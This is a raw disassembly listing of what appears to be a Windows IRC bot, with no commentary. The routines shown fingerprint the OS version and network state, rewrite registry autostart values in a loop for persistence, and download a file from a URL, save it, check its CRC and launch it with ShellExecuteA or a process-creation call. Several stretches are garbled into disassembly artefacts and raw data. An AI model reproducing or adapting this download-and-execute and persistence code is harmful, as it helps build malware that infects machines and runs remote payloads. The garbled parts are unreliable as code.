

loc_4089F2:				; CODE XREF: sub_4089A5+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_408AA7
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_408A78
; ---------------------------------------------------------------------------


loc_408A08:				; CODE XREF: sub_4089A5+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_408A1A
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_408A6F
; ---------------------------------------------------------------------------


loc_408A1A:				; CODE XREF: sub_4089A5+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_408A68
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_408A6F
; ---------------------------------------------------------------------------


loc_408A2C:				; CODE XREF: sub_4089A5+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_408A68
		cmp	[ebp+var_C4], ebx
		jnz	short loc_408A46
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_408A6F
; ---------------------------------------------------------------------------


loc_408A46:				; CODE XREF: sub_4089A5+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_408A58
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_408A6F
; ---------------------------------------------------------------------------


loc_408A58:				; CODE XREF: sub_4089A5+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_408A6F


loc_408A68:				; CODE XREF: sub_4089A5+7Cj
					; sub_4089A5+8Ej
		mov	[ebp+var_4], offset dword_425644


loc_408A6F:				; CODE XREF: sub_4089A5+73j
					; sub_4089A5+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_408AA7


loc_408A78:				; CODE XREF: sub_4089A5+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_408AA7
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42563C
		push	eax
		call	sub_411EEE
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_408AA7:				; CODE XREF: sub_4089A5+54j
					; sub_4089A5+D1j ...
		mov	ax, word_425638
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4339B4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_408AE0
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax ; dword_4339B4


loc_408AE0:				; CODE XREF: sub_4089A5+12Cj
		push	[ebp+arg_4]
		call	sub_408045
		pop	ecx
		push	eax
		call	dword_433B08	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_433A80	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_408B09
		push	dword ptr [eax]
		jmp	short loc_408B0E
; ---------------------------------------------------------------------------


loc_408B09:				; CODE XREF: sub_4089A5+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_408B0E:				; CODE XREF: sub_4089A5+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_411EEE
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 0AB0000h
		or	cl, [ebp+var_1137B]
		jmp	fword ptr [edx+46h]
sub_4089A5	endp

; ---------------------------------------------------------------------------
		dw 6850h
		dd offset aDdMmmYyyy	; "dd:MMM:yyyy"
		dd 409BE53h, 56530000h,	6A74B7E8h, 858D0600h, 0FFFFFEA4h
		dd 6850466Ah, 422124h, 0E8565353h, 6A74A0h, 8D206AF3h
		dd 5053C845h, 9403E8h, 0CC48300h, 50C8458Dh, 6A7487E8h
		dd 53535900h, 53E8458Dh, 18858D50h, 50FFFFFBh, 0B06BE8h
		dd 0E8458D00h, 18858D50h, 50FFFFF8h, 0BF7E8h, 8B606A00h
		dd 0BD8D59F0h, 0FFFFF818h, 606AA5F3h, 0F818B58Dh, 8D59FFFFh
		dd 0FFF998BDh, 53A5F3FFh, 0FFFCC5E8h, 20C483FFh, 0A4858D50h
		dd 50FFFFFEh, 0FEEC858Dh, 8D50FFFFh, 0FFFDA485h, 75FF50FFh
		dd 0F463E80Ch, 5059FFFFh, 0FC1C858Dh, 8D50FFFFh, 0FFFB1885h
		dd 858D50FFh, 0FFFFFA18h, 0FF40B5FFh, 0B5FFFFFFh, 0FFFFFF3Ch
		dd 0FF38B5FFh, 75FFFFFFh, 858D50FCh, 0FFFFFA98h, 0D4458B50h
		dd 530AE8C1h, 0A62E850h, 59590000h, 0D0458B50h,	530AE8C1h
		dd 0A52E850h, 59590000h, 0FCB5E850h, 5052FFFFh,	42553C68h
		dd 2006800h, 75FF0000h,	981CE808h, 458B0000h, 50C48308h
		dd 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C59	proc near		; CODE XREF: .nsp0:0040E352p
					; .nsp0:0040F1E1p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		cmp	dword_433BB0, 0
		jnz	short loc_408CCD
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_433998	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_408CAE
		lea	eax, [ebp+var_8C]
		push	offset dword_4256B8
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx


loc_408CAE:				; CODE XREF: sub_408C59+40j
		test	[ebp+var_C], 1
		jz	short loc_408CC6
		push	offset dword_4256B0


loc_408CB9:				; CODE XREF: sub_408C59+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx
		jmp	short loc_408CEC
; ---------------------------------------------------------------------------


loc_408CC6:				; CODE XREF: sub_408C59+59j
		push	offset dword_4256AC
		jmp	short loc_408CB9
; ---------------------------------------------------------------------------


loc_408CCD:				; CODE XREF: sub_408C59+28j
		mov	esi, offset off_4256A8
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_411EEE
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_411EEE
		add	esp, 10h


loc_408CEC:				; CODE XREF: sub_408C59+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_408045
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41246A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_408C59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D1F	proc near		; CODE XREF: .nsp0:0040E288p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_437ED8
		mov	edi, 0B8h


loc_408D33:				; CODE XREF: sub_408D1F+33j
		cmp	byte ptr [esi],	0
		jz	short loc_408D56
		push	[ebp+arg_0]
		push	esi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D56
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_438A58
		jl	short loc_408D33
		jmp	short loc_408D98
; ---------------------------------------------------------------------------


loc_408D56:				; CODE XREF: sub_408D1F+17j
					; sub_408D1F+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_437ED8[esi]
		push	ebx
		call	sub_411F70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_413710
		push	9Fh
		lea	eax, dword_437EF0[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_413710
		add	esp, 24h
		inc	dword_428178
		pop	ebx


loc_408D98:				; CODE XREF: sub_408D1F+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_408D1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D9F	proc near		; CODE XREF: .nsp0:0040F31Fp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_4256D4
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_437ED8


loc_408DC9:				; CODE XREF: sub_408D9F+72j
		cmp	byte ptr [esi],	0
		jz	short loc_408E04
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_4256C8
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41246A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 2Ch


loc_408E04:				; CODE XREF: sub_408D9F+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_438A58
		jl	short loc_408DC9
		pop	edi
		pop	esi
		leave
		retn
sub_408D9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E17	proc near		; CODE XREF: sub_401000+97p
					; .nsp0:004013C6p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_41D058	; GetLocalTime
		mov	ebx, offset dword_437E94
		mov	edi, 80h
		mov	esi, offset dword_433E94


loc_408E39:				; CODE XREF: sub_408E17+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_408E50
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_413710
		add	esp, 0Ch


loc_408E50:				; CODE XREF: sub_408E17+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_408E39
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41246A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408E17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E8B	proc near		; CODE XREF: sub_406250+15Bp
					; .nsp0:00406587p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_413D3F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_408E17
		add	esp, 14h
		leave
		retn
sub_408E8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_408EB7	proc near		; CODE XREF: .nsp0:0040F216p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_433E94
		xor	ecx, ecx


loc_408EBE:				; CODE XREF: sub_408EB7+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_437E94
		jl	short loc_408EBE
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_425708
		jnz	short loc_408EEE
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40F9F1
		add	esp, 14h


loc_408EEE:				; CODE XREF: sub_408EB7+1Fj
		push	esi
		call	sub_408E17
		pop	ecx
		pop	esi
		retn
sub_408EB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EF7	proc near		; DATA XREF: .nsp0:0040F2C9o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_408F4A
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_425770
		push	eax
		push	[ebp+var_11C]
		call	sub_40F9F1
		add	esp, 14h


loc_408F4A:				; CODE XREF: sub_408EF7+33j
		cmp	[ebp+var_98], 0
		jz	short loc_408F6A
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41245F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_408F6A
		mov	[ebp+var_8], eax


loc_408F6A:				; CODE XREF: sub_408EF7+5Aj
					; sub_408EF7+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_433E94


loc_408F73:				; CODE XREF: sub_408EF7+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_408FCD
		cmp	byte ptr [esi],	0
		jz	short loc_408FBC
		cmp	[ebp+var_98], 0
		jz	short loc_408FA2
		cmp	[ebp+var_4], 0
		jnz	short loc_408FA2
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_407A16
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408FBC


loc_408FA2:				; CODE XREF: sub_408EF7+90j
					; sub_408EF7+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40F9F1
		add	esp, 14h


loc_408FBC:				; CODE XREF: sub_408EF7+87j
					; sub_408EF7+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_437E94
		jl	short loc_408F73


loc_408FCD:				; CODE XREF: sub_408EF7+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_425740
		push	eax
		call	sub_411EEE
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_409007
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40F9F1
		add	esp, 14h


loc_409007:				; CODE XREF: sub_408EF7+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_408E17
		push	[ebp+var_18]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0AB0000h
		cmp	[edi+5Eh], bl
sub_408EF7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409026	proc near		; CODE XREF: .nsp0:00407D07p
					; sub_409096+4p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_4257A0
		xor	esi, esi
		mov	ebx, offset dword_425BD8


loc_409039:				; CODE XREF: sub_409026+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_433A7C	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_409073
		push	[ebp+arg_0]
		call	sub_4126F0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_433AEC	; RegSetValueExA
		jmp	short loc_40907D
; ---------------------------------------------------------------------------


loc_409073:				; CODE XREF: sub_409026+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_433A34	; RegDeleteValueA


loc_40907D:				; CODE XREF: sub_409026+4Bj
		push	[ebp+var_4]
		call	dword_433AA4	; RegCloseKey
		add	edi, 8
		cmp	edi, offset unk_4257B8
		jl	short loc_409039
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409026	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409096	proc near		; CODE XREF: sub_409096+16j
					; DATA XREF: .nsp0:00409EB3o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_409026
		pop	ecx
		push	dword_425798
		call	dword_41D05C	; Sleep
		jmp	short sub_409096
sub_409096	endp


; =============== S U B	R O U T	I N E =======================================



sub_4090AE	proc near		; CODE XREF: sub_4090E9+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4090E3
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_4090C7:				; CODE XREF: sub_4090AE+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_41D254[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_4090C7
		pop	edi
		pop	ebx


loc_4090E3:				; CODE XREF: sub_4090AE+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_4090AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4090E9	proc near		; CODE XREF: .nsp0:004093A5p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41279F
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_4125E8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_409138


loc_40910E:				; CODE XREF: sub_4090E9+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40913C
		inc	ebx
		push	ebx
		push	esi
		call	sub_413D8F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_409138
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_413580
		add	esp, 10h
		jmp	short loc_40910E
; ---------------------------------------------------------------------------


loc_409138:				; CODE XREF: sub_4090E9+23j
					; sub_4090E9+39j
		xor	eax, eax
		jmp	short loc_409157
; ---------------------------------------------------------------------------


loc_40913C:				; CODE XREF: sub_4090E9+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_4090AE
		push	esi
		mov	ebx, eax
		call	sub_412813
		push	edi
		call	sub_412540
		add	esp, 10h
		mov	eax, ebx


loc_409157:				; CODE XREF: sub_4090E9+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4090E9	endp

; ---------------------------------------------------------------------------


loc_40915B:				; DATA XREF: .nsp0:0040D609o
					; .nsp0:0040DD5Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_433A78
		call	dword_4339D8	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_4095E7
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	dword_41D07C	; CreateFileA
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short near ptr loc_409221+1
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_425A30
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_409205
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40F9F1
		add	esp, 14h


loc_409205:				; CODE XREF: .nsp0:004091E3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_408E17
		push	dword ptr [ebp-48h]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0AB0000h


loc_409221:				; CODE XREF: .nsp0:004091C3j
		and	eax, 15FFFF33h
		dec	eax
		rol	byte ptr [ecx+0], 1
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41279F
		pop	ecx
		mov	[ebp-1Ch], eax


loc_40923C:				; CODE XREF: .nsp0:0040930Fj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4339E0	; InternetReadFile
		cmp	[ebp-34h], esi
		jz	short loc_409280
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	near ptr loc_40964C+1
		pop	ecx
		pop	ecx


loc_409280:				; CODE XREF: .nsp0:0040926Dj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 0AB0000h
		stosb
		cmp	edi, ebx
		jnb	short loc_4092BE
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4092A8
		mov	eax, [ebp+8]


loc_4092A8:				; CODE XREF: .nsp0:004092A3j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_411FD0
		add	esp, 0Ch


loc_4092BE:				; CODE XREF: .nsp0:0040929Aj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_4092CB
		cmp	edi, [ebp-3Ch]
		ja	short loc_409315


loc_4092CB:				; CODE XREF: .nsp0:004092C4j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_4092E5
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4259E4
		jmp	short loc_4092F5
; ---------------------------------------------------------------------------


loc_4092E5:				; CODE XREF: .nsp0:004092D1j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4259A0


loc_4092F5:				; CODE XREF: .nsp0:004092E3j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_438A58
		push	eax
		call	sub_411EEE
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_40923C


loc_409315:				; CODE XREF: .nsp0:004092C9j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_40936A
		cmp	edi, [ebp-3Ch]
		jz	short loc_40936A
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_425958
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40F9F1
		lea	eax, [ebp-510h]
		push	eax
		call	sub_408E17
		add	esp, 28h


loc_40936A:				; CODE XREF: .nsp0:0040931Fj
					; .nsp0:00409324j
		call	dword_41D048	; GetTickCount
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_41D074	; CloseHandle
		push	dword ptr [ebp-1Ch]
		call	sub_412813
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_4093F4
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4090E9
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_4093F4
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_42591C
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40F9F1
		lea	eax, [ebp-510h]
		push	eax
		call	sub_408E17
		add	esp, 28h


loc_4093F4:				; CODE XREF: .nsp0:0040939Cj
					; .nsp0:004093AEj
		cmp	[ebp-14h], esi
		jz	loc_409634
		cmp	dword ptr [ebp-44h], 1
		jz	loc_4094EF
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_41D658
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_41D658
		fstp	qword ptr [esp]
		push	offset unk_4258D0
		push	eax
		call	sub_411EEE
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40946F
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40F9F1
		add	esp, 14h


loc_40946F:				; CODE XREF: .nsp0:0040944Dj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_408E17
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_409634
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_433A3C	; ShellExecuteA
		cmp	[ebp-30h], esi
		jnz	loc_409634
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_425898
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40F9F1
		lea	eax, [ebp-510h]
		push	eax
		call	sub_408E17
		add	esp, 24h
		jmp	loc_409634
; ---------------------------------------------------------------------------


loc_4094EF:				; CODE XREF: .nsp0:00409401j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_41D658
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_41D658
		fstp	qword ptr [esp]
		push	offset unk_425844
		push	eax
		call	sub_411EEE
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_409557
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40F9F1
		add	esp, 14h


loc_409557:				; CODE XREF: .nsp0:00409535j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_408E17
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_411F70
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_411F70
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_432708
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 0AB0000h
		ja	short loc_4095FF
		mov	dword ptr [ebp+12h], 3A2815FFh
		inc	ebx
		add	al, ch
		pop	ss
		out	0FFh, eax
		call	dword ptr [esi-1]
		adc	eax, offset dword_41D108


loc_4095D9:				; CODE XREF: .nsp0:loc_40964Cj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4257F8
		jmp	short loc_4095F3
; ---------------------------------------------------------------------------


loc_4095E7:				; CODE XREF: .nsp0:004091A0j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4257B8


